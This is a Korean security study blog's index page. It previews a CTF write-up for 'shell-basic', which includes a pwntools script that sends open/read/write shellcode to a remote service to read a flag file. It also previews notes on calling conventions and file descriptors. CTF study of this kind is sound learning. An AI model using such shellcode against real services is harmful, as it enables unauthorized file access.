본문 바로가기

전체 글

(48)
shell-basic WriteUp from pwn import *p = remote("url", port)context.arch = "amd64"r = "/home/shell_basic/flag_name_is_loooooong"shellcode = ''shellcode += shellcraft.open(r)shellcode += shellcraft.read('rax', 'rsp', 0x100)shellcode += shellcraft.write(1, 'rsp', 0x100)print(p.recv())p.sendline(asm(shellcode))print(p.recv())플래그 위치는 /home/shell_basic/flag_name_is_loooooong이다. r 변수에 위치를 저장해주고 read와 write를 활용하여 shellcra..
x86, x64 Calling Convention 정리 32비트 함수 호출 규약 cdeclC언어에서 사용되는 방식으로 call하는 쪽에서 스택을 정리한다. stdcallcdecl과 반대로 호출된 함수에서 스택을 정리한다. fastcallstdcall 방식과 같되 함수에 전달하는 파라미터 일부를 스택이 아닌 레지스터를 이용한다.64비트 함수 호출 규약fastcall 방식 하나만을 이용한다.다만 변형된 fastcall 방식으로 함수 파라미터 4개까지 레지스터에 저장하여 전달한다.
File Descriptor 개념 정리 File Descriptor- 시스템으로부터 할당받은 파일을 대표하는 '0'이 아닌 정수 프로그램이 프로세스로 메모리에서 실행을 시작 할 때, 기본적으로 할당되는 파일 디스크립터들이 있다. 바로 stdin, stdout, stderr이다. 이 들에게 각각 0, 1, 2 라는 정수가 할당된다. 프로그램이 시작되면 기본적으로 열리고, 종료 시 자동으로 닫힌다. 하여 파일 open/read/write 등을 했을 때 부여되는 fd는 3부터 시작된다.